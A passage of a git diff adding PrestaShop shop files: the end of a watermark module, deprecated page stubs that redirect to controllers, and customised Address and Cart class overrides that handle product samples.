$config['WATERMARK_X_ALIGN'] : ''; + $this->transparency = isset($config['WATERMARK_TRANSPARENCY']) ? $config['WATERMARK_TRANSPARENCY'] : 60; + + $this->displayName = $this->l('Watermark'); + $this->description = $this->l('Protect image by watermark.'); + $this->confirmUninstall = $this->l('Are you sure you want to delete your details ?'); + if (!isset($this->transparency) || !isset($this->xAlign) || !isset($this->yAlign)) + $this->warning = $this->l('Watermark image must be uploaded in order for this module to work correctly.'); + } + + public function install() + { + if (!parent::install() || !$this->registerHook('watermark')) + return false; + Configuration::updateValue('WATERMARK_TRANSPARENCY', 60); + Configuration::updateValue('WATERMARK_Y_ALIGN', 'bottom'); + Configuration::updateValue('WATERMARK_X_ALIGN', 'right'); + return true; + } + + public function uninstall() + { + return (parent::uninstall() + && Configuration::deleteByName('WATERMARK_TYPES') + && Configuration::deleteByName('WATERMARK_TRANSPARENCY') + && Configuration::deleteByName('WATERMARK_Y_ALIGN') + && Configuration::deleteByName('WATERMARK_X_ALIGN')); + } + + private function _postValidation() + { + $yalign = Tools::getValue('yalign'); + $xalign = Tools::getValue('xalign'); + $transparency = (int)(Tools::getValue('transparency')); + $image_types = Tools::getValue('image_types'); + + if (empty($transparency)) + $this->_postErrors[] = $this->l('Transparency required.'); + elseif ($transparency < 0 || $transparency > 100) + $this->_postErrors[] = $this->l('Transparency is not in allowed range.'); + + if (empty($yalign)) + $this->_postErrors[] = $this->l('Y-Align is required.'); + elseif (!in_array($yalign, $this->yaligns)) + $this->_postErrors[] = $this->l('Y-Align is not in allowed range.'); + + if (empty($xalign)) + $this->_postErrors[] = $this->l('X-Align is required.'); + elseif (!in_array($xalign, $this->xaligns)) + $this->_postErrors[] = $this->l('X-Align is not in allowed range.'); + if (empty($image_types)) + $this->_postErrors[] = $this->l('At least one image type is required.'); + + if (isset($_FILES['PS_WATERMARK']['tmp_name']) && !empty($_FILES['PS_WATERMARK']['tmp_name'])) + { + if (!ImageManager::isRealImage($_FILES['PS_WATERMARK']['tmp_name'], $_FILES['PS_WATERMARK']['type'], array('image/gif'))) + $this->_postErrors[] = $this->l('Image must be in GIF format.'); + } + + return !count($this->_postErrors) ? true : false; + } + + private function _postProcess() + { + Configuration::updateValue('WATERMARK_TYPES', implode(',', Tools::getValue('image_types'))); + Configuration::updateValue('WATERMARK_Y_ALIGN', Tools::getValue('yalign')); + Configuration::updateValue('WATERMARK_X_ALIGN', Tools::getValue('xalign')); + Configuration::updateValue('WATERMARK_TRANSPARENCY', Tools::getValue('transparency')); + + if (Shop::getContext() == Shop::CONTEXT_SHOP) + $str_shop = '-'.(int)$this->context->shop->id; + else + $str_shop = ''; + //submited watermark + if (isset($_FILES['PS_WATERMARK']) && !empty($_FILES['PS_WATERMARK']['tmp_name'])) + { + /* Check watermark validity */ + if ($error = ImageManager::validateUpload($_FILES['PS_WATERMARK'])) + $this->_errors[] = $error; + /* Copy new watermark */ + elseif (!copy($_FILES['PS_WATERMARK']['tmp_name'], dirname(__FILE__).'/watermark'.$str_shop.'.gif')) + $this->_errors[] = sprintf($this->l('An error occurred while uploading watermark: %1$s to %2$s'), $_FILES['PS_WATERMARK']['tmp_name'], dirname(__FILE__).'/watermark'.$str_shop.'.gif'); + } + + if ($this->_errors) + foreach ($this->_errors as $error) + $this->_html .= '
        '.$this->l('ok').' '.$this->l($error).'
        '; + else + $this->_html .= '
        '.$this->l('Settings updated').'
        '; + } + + private function _displayForm() + { + $imageTypes = ImageType::getImagesTypes('products'); + $str_shop = '-'.(int)$this->context->shop->id; + if (Shop::getContext() != Shop::CONTEXT_SHOP || !Tools::file_exists_cache(dirname(__FILE__).'/watermark'.$str_shop.'.gif')) + $str_shop = ''; + + $this->_html .= + '
        +
        '.$this->l('Watermark details').' +

        '.$this->l('Once you have set up the module, regenerate the images using the "Images" tool in Preferences. However, the watermark will be added automatically to new images.').'

        + + + + + + + + + + + + + + + + + + + + + +
        + '.(Tools::file_exists_cache(dirname(__FILE__).'/watermark'.$str_shop.'.gif') ? '' : $this->l('No watermark uploaded.')).'
        '.$this->l('Watermark file').' + +

        '.$this->l('Must be in GIF format').'

        +
        '.$this->l('Watermark transparency (0-100)').'
        '.$this->l('Watermark X align').' + +
        '.$this->l('Watermark Y align').' + +
        '.$this->l('Choose image types for watermark protection.').''; + $selected_types = explode(',', Configuration::get('WATERMARK_TYPES')); + foreach (ImageType::getImagesTypes('products') as $type) + { + $this->_html .= '
        '; + } + $this->_html .= '
         
        +
        +
        '; + } + + public function getContent() + { + $this->_html = '

        '.$this->displayName.'

        '; + + if (Tools::isSubmit('btnSubmit')) + { + $this->_postValidation(); + if (!count($this->_postErrors)) + $this->_postProcess(); + else + foreach ($this->_postErrors as $err) + $this->_html .= '
        '.$err.'
        '; + } + else + $this->_html .= '
        '; + + $this->_displayForm(); + + return $this->_html; + } + + // Retrocompatibility + public function hookwatermark($params) + { + $this->hookActionWatermark($params); + } + + public function hookActionWatermark($params) + { + $image = new Image($params['id_image']); + $image->id_product = $params['id_product']; + $file = _PS_PROD_IMG_DIR_.$image->getExistingImgPath().'-watermark.jpg'; + + $str_shop = '-'.(int)$this->context->shop->id; + if (Shop::getContext() != Shop::CONTEXT_SHOP || !Tools::file_exists_cache(dirname(__FILE__).'/watermark'.$str_shop.'.gif')) + $str_shop = ''; + + //first make a watermark image + $return = $this->watermarkByImage(_PS_PROD_IMG_DIR_.$image->getExistingImgPath().'.jpg', dirname(__FILE__).'/watermark'.$str_shop.'.gif', $file, 23, 0, 0, 'right'); + + //go through file formats defined for watermark and resize them + foreach ($this->imageTypes as $imageType) + { + $newFile = _PS_PROD_IMG_DIR_.$image->getExistingImgPath().'-'.stripslashes($imageType['name']).'.jpg'; + if (!ImageManager::resize($file, $newFile, (int)$imageType['width'], (int)$imageType['height'])) + $return = false; + } + return $return; + } + + private function watermarkByImage($imagepath, $watermarkpath, $outputpath) + { + $Xoffset = $Yoffset = $xpos = $ypos = 0; + if (!$image = imagecreatefromjpeg($imagepath)) + return false; + if (!$imagew = imagecreatefromgif($watermarkpath)) + die ($this->l('The watermark image is not a real gif, please CONVERT the image.')); + list($watermarkWidth, $watermarkHeight) = getimagesize($watermarkpath); + list($imageWidth, $imageHeight) = getimagesize($imagepath); + if ($this->xAlign == 'middle') + $xpos = $imageWidth / 2 - $watermarkWidth / 2 + $Xoffset; + if ($this->xAlign == 'left') + $xpos = 0 + $Xoffset; + if ($this->xAlign == 'right') + $xpos = $imageWidth - $watermarkWidth - $Xoffset; + if ($this->yAlign == 'middle') + $ypos = $imageHeight / 2 - $watermarkHeight / 2 + $Yoffset; + if ($this->yAlign == 'top') + $ypos = 0 + $Yoffset; + if ($this->yAlign == 'bottom') + $ypos = $imageHeight - $watermarkHeight - $Yoffset; + if (!imagecopymerge($image, $imagew, $xpos, $ypos, 0, 0, $watermarkWidth, $watermarkHeight, $this->transparency)) + return false; + return imagejpeg($image, $outputpath, 100); + } +} + diff --git a/my-account.php b/my-account.php new file mode 100755 index 0000000..eaaa21c --- /dev/null +++ b/my-account.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=my-account'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/new-products.php b/new-products.php new file mode 100755 index 0000000..31affef --- /dev/null +++ b/new-products.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=new-products'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/offrefidelite.php b/offrefidelite.php new file mode 100755 index 0000000..37874ef --- /dev/null +++ b/offrefidelite.php @@ -0,0 +1,29 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); +Controller::getController('OffrefideliteController')->run(); diff --git a/offrefidelitepdf.php b/offrefidelitepdf.php new file mode 100755 index 0000000..bc5f962 --- /dev/null +++ b/offrefidelitepdf.php @@ -0,0 +1,39 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +include(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +// Tools::redirect('index.php?controller=pdf-invoice'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); + +Tools::redirect('index.php?controller=Offrefidelitepdf'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/order-confirmation.php b/order-confirmation.php new file mode 100755 index 0000000..bc9c89f --- /dev/null +++ b/order-confirmation.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=order-confirmation'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/order-detail.php b/order-detail.php new file mode 100755 index 0000000..d73416a --- /dev/null +++ b/order-detail.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=order-detail'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/order-follow.php b/order-follow.php new file mode 100755 index 0000000..95d0d56 --- /dev/null +++ b/order-follow.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=order-follow'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/order-opc.php b/order-opc.php new file mode 100755 index 0000000..dd96c9e --- /dev/null +++ b/order-opc.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=order-opc'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/order-return.php b/order-return.php new file mode 100755 index 0000000..15d8970 --- /dev/null +++ b/order-return.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=order-return'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/order-slip.php b/order-slip.php new file mode 100755 index 0000000..441f8ac --- /dev/null +++ b/order-slip.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=order-slip'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/order.php b/order.php new file mode 100755 index 0000000..ce8ef1d --- /dev/null +++ b/order.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=order'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/override/classes/Address.php b/override/classes/Address.php new file mode 100755 index 0000000..fe7af02 --- /dev/null +++ b/override/classes/Address.php @@ -0,0 +1,62 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class Address extends AddressCore +{ + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'address', + 'primary' => 'id_address', + 'fields' => array( + 'id_customer' => array('type' => self::TYPE_INT, 'validate' => 'isNullOrUnsignedId', 'copy_post' => false), + 'id_manufacturer' => array('type' => self::TYPE_INT, 'validate' => 'isNullOrUnsignedId', 'copy_post' => false), + 'id_supplier' => array('type' => self::TYPE_INT, 'validate' => 'isNullOrUnsignedId', 'copy_post' => false), + 'id_warehouse' => array('type' => self::TYPE_INT, 'validate' => 'isNullOrUnsignedId', 'copy_post' => false), + 'id_country' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_state' => array('type' => self::TYPE_INT, 'validate' => 'isNullOrUnsignedId'), + 'alias' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true, 'size' => 32), + 'company' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'size' => 64), + 'lastname' => array('type' => self::TYPE_STRING, 'validate' => 'isName', 'required' => true, 'size' => 32), + 'firstname' => array('type' => self::TYPE_STRING, 'validate' => 'isName', 'required' => true, 'size' => 32), + 'vat_number' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName'), + 'address1' => array('type' => self::TYPE_STRING, 'validate' => 'isAddress', 'required' => true, 'size' => 128), + 'address2' => array('type' => self::TYPE_STRING, 'validate' => 'isAddress', 'size' => 128), + 'postcode' => array('type' => self::TYPE_STRING, 'validate' => 'isPostCode', 'size' => 12), + 'city' => array('type' => self::TYPE_STRING, 'validate' => 'isCityName', 'required' => true, 'size' => 64), + 'other' => array('type' => self::TYPE_STRING, 'validate' => 'isMessage', 'size' => 300), + 'phone' => array('type' => self::TYPE_STRING, 'validate' => 'isPhoneNumber','required' => true, 'size' => 32), + 'phone_mobile' => array('type' => self::TYPE_STRING, 'validate' => 'isPhoneNumber', 'size' => 32), + 'dni' => array('type' => self::TYPE_STRING, 'validate' => 'isDniLite', 'size' => 16), + 'deleted' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'copy_post' => false), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDateFormat', 'copy_post' => false), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDateFormat', 'copy_post' => false), + ), + ); +} + diff --git a/override/classes/Cart.php b/override/classes/Cart.php new file mode 100755 index 0000000..5a27d2f --- /dev/null +++ b/override/classes/Cart.php @@ -0,0 +1,521 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class Cart extends CartCore +{ + public static function getNbProducts($id) + { + // Must be strictly compared to NULL, or else an empty cart will bypass the cache and add dozens of queries + // if (isset(self::$_nbProducts[$id]) && self::$_nbProducts[$id] !== null) + // return self::$_nbProducts[$id]; + + self::$_nbProducts[$id] = (int)Db::getInstance()->getValue(' + SELECT SUM(`quantity`) + FROM `'._DB_PREFIX_.'cart_product` + WHERE echantillon=0 and `id_cart` = '.(int)$id + ); + + return self::$_nbProducts[$id]; + } + public function getProducts($refresh = false, $id_product = false, $id_country = null,$echantillon=0) + { + if (!$this->id) + return array(); + // Product cache must be strictly compared to NULL, or else an empty cart will add dozens of queries + if ($this->_products !== null && !$refresh) + { + // Return product row with specified ID if it exists + if (is_int($id_product)) + { + foreach ($this->_products as $product) + if ($product['id_product'] == $id_product) + return array($product); + return array(); + } + return $this->_products; + } + + // Build query + $sql = new DbQuery(); + + // Build SELECT + $sql->select('cp.`id_product_attribute`, cp.`id_product`, cp.`quantity` AS cart_quantity, cp.id_shop, pl.`name`, p.`is_virtual`, + pl.`description_short`, pl.`available_now`, pl.`available_later`, p.`id_product`, product_shop.`id_category_default`, p.`id_supplier`, + p.`id_manufacturer`, product_shop.`on_sale`, product_shop.`ecotax`, product_shop.`additional_shipping_cost`, product_shop.`available_for_order`, product_shop.`price`, p.`weight`, + stock.`quantity` quantity_available, p.`width`, p.`height`, p.`depth`, stock.`out_of_stock`, product_shop.`active`, p.`date_add`, + p.`date_upd`, IFNULL(stock.quantity, 0) as quantity, pl.`link_rewrite`, cl.`link_rewrite` AS category, + CONCAT(cp.`id_product`, IFNULL(cp.`id_product_attribute`, 0), IFNULL(cp.`id_address_delivery`, 0)) AS unique_id, cp.id_address_delivery, + product_shop.`wholesale_price`, product_shop.advanced_stock_management, ps.product_supplier_reference supplier_reference'); + + // Build FROM + $sql->from('cart_product', 'cp'); + + // Build JOIN + $sql->leftJoin('product', 'p', 'p.`id_product` = cp.`id_product`'); + $sql->innerJoin('product_shop', 'product_shop', '(product_shop.id_shop=cp.id_shop AND product_shop.id_product = p.id_product)'); + $sql->leftJoin('product_lang', 'pl', ' + p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)$this->id_lang.Shop::addSqlRestrictionOnLang('pl', 'cp.id_shop') + ); + + $sql->leftJoin('category_lang', 'cl', ' + product_shop.`id_category_default` = cl.`id_category` + AND cl.`id_lang` = '.(int)$this->id_lang.Shop::addSqlRestrictionOnLang('cl', 'cp.id_shop') + ); + + $sql->leftJoin('product_supplier', 'ps', 'ps.id_product=cp.id_product AND ps.id_product_attribute=cp.id_product_attribute AND ps.id_supplier=p.id_supplier'); + + // @todo test if everything is ok, then refactorise call of this method + $sql->join(Product::sqlStock('cp', 'cp')); + + // Build WHERE clauses + // $sql->where('echantillon = '.(int)$echantillon); + $sql->where('cp.`id_cart` = '.(int)$this->id); + if ($id_product) + $sql->where('cp.`id_product` = '.(int)$id_product); + $sql->where('p.`id_product` IS NOT NULL'); + + // Build GROUP BY + $sql->groupBy('unique_id'); + + // Build ORDER BY + $sql->orderBy('p.id_product, cp.id_product_attribute, cp.date_add ASC'); + + if (Customization::isFeatureActive()) + { + $sql->select('cu.`id_customization`, cu.`quantity` AS customization_quantity'); + $sql->leftJoin('customization', 'cu', + 'p.`id_product` = cu.`id_product` AND cp.`id_product_attribute` = cu.id_product_attribute AND cu.id_cart='.(int)$this->id); + } + else + $sql->select('NULL AS customization_quantity, NULL AS id_customization'); + + if (Combination::isFeatureActive()) + { + $sql->select(' + product_attribute_shop.`price` AS price_attribute, product_attribute_shop.`ecotax` AS ecotax_attr, + IF (IFNULL(pa.`reference`, \'\') = \'\', p.`reference`, pa.`reference`) AS reference, + (p.`weight`+ pa.`weight`) weight_attribute, + IF (IFNULL(pa.`ean13`, \'\') = \'\', p.`ean13`, pa.`ean13`) AS ean13, + IF (IFNULL(pa.`upc`, \'\') = \'\', p.`upc`, pa.`upc`) AS upc, + pai.`id_image` as pai_id_image, il.`legend` as pai_legend, + IFNULL(product_attribute_shop.`minimal_quantity`, product_shop.`minimal_quantity`) as minimal_quantity + '); + + $sql->leftJoin('product_attribute', 'pa', 'pa.`id_product_attribute` = cp.`id_product_attribute`'); + $sql->leftJoin('product_attribute_shop', 'product_attribute_shop', '(product_attribute_shop.id_shop=cp.id_shop AND product_attribute_shop.id_product_attribute = pa.id_product_attribute)'); + $sql->leftJoin('product_attribute_image', 'pai', 'pai.`id_product_attribute` = pa.`id_product_attribute`'); + $sql->leftJoin('image_lang', 'il', 'il.id_image = pai.id_image AND il.id_lang = '.(int)$this->id_lang); + } + else + $sql->select( + 'p.`reference` AS reference, p.`ean13`, + p.`upc` AS upc, product_shop.`minimal_quantity` AS minimal_quantity' + ); + $result = Db::getInstance()->executeS($sql); + + // Reset the cache before the following return, or else an empty cart will add dozens of queries + $products_ids = array(); + $pa_ids = array(); + if ($result) + foreach ($result as $row) + { + $products_ids[] = $row['id_product']; + $pa_ids[] = $row['id_product_attribute']; + } + // Thus you can avoid one query per product, because there will be only one query for all the products of the cart + Product::cacheProductsFeatures($products_ids); + Cart::cacheSomeAttributesLists($pa_ids, $this->id_lang); + + $this->_products = array(); + if (empty($result)) + return array(); + + $cart_shop_context = Context::getContext()->cloneContext(); + foreach ($result as &$row) + { + if (isset($row['ecotax_attr']) && $row['ecotax_attr'] > 0) + $row['ecotax'] = (float)$row['ecotax_attr']; + + $row['stock_quantity'] = (int)$row['quantity']; + // for compatibility with 1.2 themes + $row['quantity'] = (int)$row['cart_quantity']; + + if (isset($row['id_product_attribute']) && (int)$row['id_product_attribute'] && isset($row['weight_attribute'])) + $row['weight'] = (float)$row['weight_attribute']; + + if (Configuration::get('PS_TAX_ADDRESS_TYPE') == 'id_address_invoice') + $address_id = (int)$this->id_address_invoice; + else + $address_id = (int)$row['id_address_delivery']; + if (!Address::addressExists($address_id)) + $address_id = null; + + if ($cart_shop_context->shop->id != $row['id_shop']) + $cart_shop_context->shop = new Shop((int)$row['id_shop']); + + if ($this->_taxCalculationMethod == PS_TAX_EXC) + { + $row['price'] = Product::getPriceStatic( + (int)$row['id_product'], + false, + isset($row['id_product_attribute']) ? (int)$row['id_product_attribute'] : null, + 2, + null, + false, + true, + (int)$row['cart_quantity'], + false, + ((int)$this->id_customer ? (int)$this->id_customer : null), + (int)$this->id, + ((int)$address_id ? (int)$address_id : null), + $specific_price_output, + true, + true, + $cart_shop_context + ); // Here taxes are computed only once the quantity has been applied to the product price + + $row['price_wt'] = Product::getPriceStatic( + (int)$row['id_product'], + true, + isset($row['id_product_attribute']) ? (int)$row['id_product_attribute'] : null, + 2, + null, + false, + true, + (int)$row['cart_quantity'], + false, + ((int)$this->id_customer ? (int)$this->id_customer : null), + (int)$this->id, + ((int)$address_id ? (int)$address_id : null), + $null, + true, + true, + $cart_shop_context + ); + + $tax_rate = Tax::getProductTaxRate((int)$row['id_product'], (int)$address_id); + + $row['total_wt'] = Tools::ps_round($row['price'] * (float)$row['cart_quantity'] * (1 + (float)$tax_rate / 100), 2); + $row['total'] = $row['price'] * (int)$row['cart_quantity']; + } + else + { + $row['price'] = Product::getPriceStatic( + (int)$row['id_product'], + false, + (int)$row['id_product_attribute'], + 2, + null, + false, + true, + $row['cart_quantity'], + false, + ((int)$this->id_customer ? (int)$this->id_customer : null), + (int)$this->id, + ((int)$address_id ? (int)$address_id : null), + $specific_price_output, + true, + true, + $cart_shop_context + ); + + $row['price_wt'] = Product::getPriceStatic( + (int)$row['id_product'], + true, + (int)$row['id_product_attribute'], + 2, + null, + false, + true, + $row['cart_quantity'], + false, + ((int)$this->id_customer ? (int)$this->id_customer : null), + (int)$this->id, + ((int)$address_id ? (int)$address_id : null), + $null, + true, + true, + $cart_shop_context + ); + + // In case when you use QuantityDiscount, getPriceStatic() can be return more of 2 decimals + $row['price_wt'] = Tools::ps_round($row['price_wt'], 2); + $row['total_wt'] = $row['price_wt'] * (int)$row['cart_quantity']; + $row['total'] = Tools::ps_round($row['price'] * (int)$row['cart_quantity'], 2); + } + + if (!isset($row['pai_id_image']) || $row['pai_id_image'] == 0) + { + $row2 = Db::getInstance()->getRow(' + SELECT image_shop.`id_image` id_image, il.`legend` + FROM `'._DB_PREFIX_.'image` i'. + Shop::addSqlAssociation('image', 'i', false, 'image_shop.cover=1').' + LEFT JOIN `'._DB_PREFIX_.'image_lang` il ON (image_shop.`id_image` = il.`id_image` AND il.`id_lang` = '.(int)$this->id_lang.') + WHERE i.`id_product` = '.(int)$row['id_product'].' AND image_shop.`cover` = 1' + ); + + if (!$row2) + $row2 = array('id_image' => false, 'legend' => false); + else + $row = array_merge($row, $row2); + } + else + { + $row['id_image'] = $row['pai_id_image']; + $row['legend'] = $row['pai_legend']; + } + + $row['reduction_applies'] = ($specific_price_output && (float)$specific_price_output['reduction']); + $row['quantity_discount_applies'] = ($specific_price_output && $row['cart_quantity'] >= (int)$specific_price_output['from_quantity']); + $row['id_image'] = Product::defineProductImage($row, $this->id_lang); + $row['allow_oosp'] = Product::isAvailableWhenOutOfStock($row['out_of_stock']); + $row['features'] = Product::getFeaturesStatic((int)$row['id_product']); + + if (array_key_exists($row['id_product_attribute'].'-'.$this->id_lang, self::$_attributesLists)) + $row = array_merge($row, self::$_attributesLists[$row['id_product_attribute'].'-'.$this->id_lang]); + + $row = Product::getTaxesInformations($row, $cart_shop_context); + + $this->_products[] = $row; + } + + return $this->_products; + } + public function updateQty($quantity, $id_product, $id_product_attribute = null, $id_customization = false, + $operator = 'up', $id_address_delivery = 0, Shop $shop = null, $auto_add_cart_rule = true) + { + if (!$shop) + $shop = Context::getContext()->shop; + + if (Context::getContext()->customer->id) + { + if ($id_address_delivery == 0 && (int)$this->id_address_delivery) // The $id_address_delivery is null, use the cart delivery address + $id_address_delivery = $this->id_address_delivery; + elseif ($id_address_delivery == 0) // The $id_address_delivery is null, get the default customer address + $id_address_delivery = (int)Address::getFirstCustomerAddressId((int)Context::getContext()->customer->id); + elseif (!Customer::customerHasAddress(Context::getContext()->customer->id, $id_address_delivery)) // The $id_address_delivery must be linked with customer + $id_address_delivery = 0; + } + + $quantity = (int)$quantity; + $id_product = (int)$id_product; + $id_product_attribute = (int)$id_product_attribute; + $product = new Product($id_product, false, Configuration::get('PS_LANG_DEFAULT'), $shop->id); + + if ($id_product_attribute) + { + $combination = new Combination((int)$id_product_attribute); + if ($combination->id_product != $id_product) + return false; + } + + /* If we have a product combination, the minimal quantity is set with the one of this combination */ + if (!empty($id_product_attribute)) + $minimal_quantity = (int)Attribute::getAttributeMinimalQty($id_product_attribute); + else + $minimal_quantity = (int)$product->minimal_quantity; + + if (!Validate::isLoadedObject($product)) + die(Tools::displayError()); + + if (isset(self::$_nbProducts[$this->id])) + unset(self::$_nbProducts[$this->id]); + + if (isset(self::$_totalWeight[$this->id])) + unset(self::$_totalWeight[$this->id]); + + if ((int)$quantity <= 0) + return $this->deleteProduct($id_product, $id_product_attribute, (int)$id_customization); + elseif (!$product->available_for_order || Configuration::get('PS_CATALOG_MODE')) + return false; + else + { + /* Check if the product is already in the cart */ + $result = $this->containsProduct($id_product, $id_product_attribute, (int)$id_customization, (int)$id_address_delivery); + + /* Update quantity if product already exist */ + if ($result) + { + if ($operator == 'up') + { + $sql = 'SELECT stock.out_of_stock, IFNULL(stock.quantity, 0) as quantity + FROM '._DB_PREFIX_.'product p + '.Product::sqlStock('p', $id_product_attribute, true, $shop).' + WHERE p.id_product = '.$id_product; + + $result2 = Db::getInstance()->getRow($sql); + $product_qty = (int)$result2['quantity']; + // Quantity for product pack + if (Pack::isPack($id_product)) + $product_qty = Pack::getQuantity($id_product, $id_product_attribute); + $new_qty = (int)$result['quantity'] + (int)$quantity; + $qty = '+ '.(int)$quantity; + + if (!Product::isAvailableWhenOutOfStock((int)$result2['out_of_stock'])) + if ($new_qty > $product_qty) + return false; + } + else if ($operator == 'down') + { + $qty = '- 